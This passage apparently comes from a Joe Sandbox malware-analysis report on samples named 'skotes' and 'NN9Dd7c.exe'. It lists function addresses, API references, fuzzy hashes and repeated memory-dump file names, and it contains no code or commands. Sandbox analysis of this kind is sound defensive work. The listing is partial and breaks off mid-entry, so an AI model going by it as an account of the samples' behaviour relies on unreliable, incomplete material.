Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Z},m}
API String ID: 809856575-16929842
Opcode ID: ba63f7ec882e2eeda4d7f847ee2384b3514d7b0d5f2f64855240f5918a7c0c68
Instruction ID: f9196f8f3483079d9a3f651498bc4881d2853d49d0791123c48a3f4c7d823436
Opcode Fuzzy Hash: ba63f7ec882e2eeda4d7f847ee2384b3514d7b0d5f2f64855240f5918a7c0c68
Instruction Fuzzy Hash: B631AD7190020AEBDB219F64CC45EAF7BB9FF80320F09412AF815AB351DB38AD51C7A0

Function 007D1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007D1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D17AF

Strings

pContext, xrefs: 007D17A7

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 1d239294aa55a4a21abc017f137e82e8d67979f93f788fb9a9df2dbd22604644
Instruction ID: 02d924a57033ed87ff75d92341c3ef429b9d28e924f866f059b620da7c39b39f
Opcode Fuzzy Hash: 1d239294aa55a4a21abc017f137e82e8d67979f93f788fb9a9df2dbd22604644
Instruction Fuzzy Hash: 6911D636A00214EBCB15EF58C88996D7776AF84370B55806AE912AB352DB7CDD01CBD0

Function 007BCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,007C65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 007BCAFC
CreateSemaphoreW.KERNEL32(?,007C65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 007BCB1E

Strings

e|, xrefs: 007BCB12, 007BCAF0

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e|
API String ID: 1078844751-2768778857
Opcode ID: 08137356f48922be891c0110e588e1c669d7a758326e37087ea80de75ca260e3
Instruction ID: e4a994bebd7170fa4bc154be2902fcbbf911463f8451c1fb548b28753acdefdc
Opcode Fuzzy Hash: 08137356f48922be891c0110e588e1c669d7a758326e37087ea80de75ca260e3
Instruction Fuzzy Hash: 94F0B276501169ABCF225F90EC159AF7F66FB08761B048015FD196A230C6369861EFE0

Function 007CB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 007CB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007CB961

Strings

pContext, xrefs: 007CB959

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 171c1cd9486e301d74ca23f944c9006161e7f238a0a3f81d6bf5bd9d81fad180
Instruction ID: d6ffe587acb1f844774b29ca2cf7f84722a46ae486b62c3fdf10db3ff9cee53f
Opcode Fuzzy Hash: 171c1cd9486e301d74ca23f944c9006161e7f238a0a3f81d6bf5bd9d81fad180
Instruction Fuzzy Hash: 9BE09279B00208E7CB04F768D84ADADB7799F84720704812AE611A3391EB78AA05CAE1

Analysis Process: NN9Dd7c.exePID: 1592, Parent PID: 5024COMMON

Executed Functions

Function 0276347A Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a4b2da3d5a85c733a4ebd5ff4baa4f1583e907cd7458d58e85a0baf09cdc729
Instruction ID: e091640cea28e5bf3bfcfdfebfed2821b3f3c6bfa2a8a2222597b60e2cb4fef2
Opcode Fuzzy Hash: 1a4b2da3d5a85c733a4ebd5ff4baa4f1583e907cd7458d58e85a0baf09cdc729
Instruction Fuzzy Hash: 8D51E570E01218CFCB19EFB4D598AADB7B2FF89300F609569D406AB394DB35A946CF44

Function 02762E60 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dce70a703e619aa4adbcd95393cc961c4423f7e6fcb15118794c5334d8bbeccb
Instruction ID: 3ad6c1e3a6d5e43394becb3350ccb11d36ea13a1a0f5ceb7bed9a87062622507
Opcode Fuzzy Hash: dce70a703e619aa4adbcd95393cc961c4423f7e6fcb15118794c5334d8bbeccb
Instruction Fuzzy Hash: 002142B0E10A158FD718CF1ACA80A95F7F2EFED310F56C2E5924CAB275E77099818E44

Function 02765424 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2136956d7ca30f9a066daa7316f3067a9873573e71396f427f400a00fe26f7
Instruction ID: ef651b9313ccb8d22f0dda8d10f5029a31198d4c7882a1a023cc6a0996d2632b
Opcode Fuzzy Hash: 7d2136956d7ca30f9a066daa7316f3067a9873573e71396f427f400a00fe26f7
Instruction Fuzzy Hash: 68F02770909285CFC702DBB8D8957DC3BB0FF43300B4645CAC009976A2D6350E45EB52

Function 02762078 Relevance: .4, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dadfc340c6b79cab21ffbb8c907c3fd3448873934d577f77acdfe9ea39f060a6
Instruction ID: 01197b879dbd7a1114230a9672b826c2d2a3d9c0e699ece1d67df3b764904e8c
Opcode Fuzzy Hash: dadfc340c6b79cab21ffbb8c907c3fd3448873934d577f77acdfe9ea39f060a6
Instruction Fuzzy Hash: 83129E74A01229CFCB64DF68C994BD9B7B1BF89300F1085E9D949AB355DB70AE81CF80

Function 02766CAA Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c7af1a5ba5ddfce1f5700b5d5b9c32520f460d312f0b9da1de8fdf0cf74e4f
Instruction ID: f43785f3deab58a7e421b0fffdc23d1d812b33e5da0549e8bb55b0bf3df8ced8
Opcode Fuzzy Hash: 46c7af1a5ba5ddfce1f5700b5d5b9c32520f460d312f0b9da1de8fdf0cf74e4f
Instruction Fuzzy Hash: 45F08C7134E7806FE32247686C68B95BFA0EF8B610F0A41EAE145CB193C628484687A2

Function 02762068 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e458323a467f316c1b7e0f325d2a877898c38b926d395122901722d39d3fb2
Instruction ID: 748f73dfc0e19dfccf1e4067c51301115022b8d3393830e438b4cf9f0000e8fe
Opcode Fuzzy Hash: 41e458323a467f316c1b7e0f325d2a877898c38b926d395122901722d39d3fb2
Instruction Fuzzy Hash: 09D19FB4A01229CFDB64DF28C994BD9B7B1BB49300F1081E9D94DA7355EB71AE81CF90

Function 02763B20 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c7d781c25e8f78da16a8140b342e821e79a746dd53115a18105d9273e89c65
Instruction ID: 9de59f865da92379932e4761d45c771b2b167e5ccd1e69a38472e8e2d2e382ab
Opcode Fuzzy Hash: 54c7d781c25e8f78da16a8140b342e821e79a746dd53115a18105d9273e89c65
Instruction Fuzzy Hash: E1B1D374A01219CFDB14DFA8C888AEDBBB1FF49704F108269E805BB365DB70A945CF94

Function 02760AC8 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b89db2eaebbe569c9677dace3324ccdc6a0f381feef49b4101477ef66e08aa54
Instruction ID: 633a880743b17b62fa940bb0bdb9bc072180dd519103e1ba2e1d32882d19fb66
Opcode Fuzzy Hash: b89db2eaebbe569c9677dace3324ccdc6a0f381feef49b4101477ef66e08aa54
Instruction Fuzzy Hash: 2E91D874E00219CFCB04DFA9D488AEDFBB5BF89310F10962AD815AB365DB30A946CF54

Function 02762739 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2968437826.0000000002760000.00000040.00000800.00020000.00000000.sdmp, Offset: 02760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2760000_NN9Dd7c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f2b8111a6d206179cdfcc7febe0ab995103a8f4d20156fd4d947fe9f784960
Instruction ID: df5722653402d96643935f2e5f5e4eded09d8539799a82205a25118d5b22aa99
Opcode Fuzzy Hash: 69f2b8111a6d206179cdfcc7febe0ab995103a8f4d20156fd4d947fe9f784960
